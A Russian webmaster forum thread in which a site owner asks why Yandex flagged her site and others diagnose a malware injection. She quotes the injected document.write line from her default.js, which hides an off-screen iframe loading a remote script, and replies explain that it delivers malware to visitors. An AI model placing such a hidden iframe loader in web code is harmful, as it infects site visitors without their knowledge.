Помогите разобрать пациента)

L
На сайте с 19.04.2008
Offline
105
700

Всем привет! Пока мой программист по причине рождения ребёнка отсутствует, я тут чуть не сломала голову - надеюсь, поможете внести ясность.

Дано: сайт www.timefry.ru - за "обман пользователей мобильного интернета" исключён из мобильного поиска Яндексом. Грешила на рекламу и на закладки, вычистила вообще всё - но нет, причина заключалась в коде файла http://www.timefry.ru/js/default.js

document.write('<style>.goog1emap{margin:-100%;position:absolute;width:600px;height:240px;}</style><div class=goog1emap><iframe width=1 heigth=1 src=http://zemfira.org/chordpix/prof/ya.metrika.js></iframe></div>')

Почему точно этот код был причиной? - Потому что sucuri отвечает вот что https://sitecheck.sucuri.net/results/www.timefry.ru и после удаления этого кода сайт моментально получил в Вебмастере "нет нарушений".

А теперь сюрприз: дело в том, что zemfira.org мой сайт. Что, блин, произошло? Яндекс подумал что я с www.timefry.ru увожу пользователей на zemfira.org? Что вообще делает этот код?

rustelekom
На сайте с 20.04.2005
Offline
522
#1

на вирус очень похоже. и хоть zemfira.org и Ваш сайт, еще неизвестно, что там в этом файле: chordpix/prof/ya.metrika.js - скорее всего таки вирус.

SSD VPS, SSD хостинг и выделенные серверы в Германии или РФ, FTP хранилища, регистрация доменов и SSL сертификаты ( https://www.robovps.biz/ ) Контакты: Telegram ( https://t.me/rustelekom_bot )
L
На сайте с 19.04.2008
Offline
105
#2

rustelekom, был ! но его уже нет там. а что сам этот код делает? перенаправляет?

rustelekom
На сайте с 20.04.2005
Offline
522
#3

дописывал в код страницы у пользователя на компе iframe, а в из этого iframe вызывался javascript зловредный.

dkameleon
На сайте с 09.12.2005
Offline
386
#4
Lidiya:
rustelekom, был ! но его уже нет там. а что сам этот код делает? перенаправляет?

в скрытом фрейме подгружает пользователю вирус

Дизайн интерьера (http://balabukha.com/)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий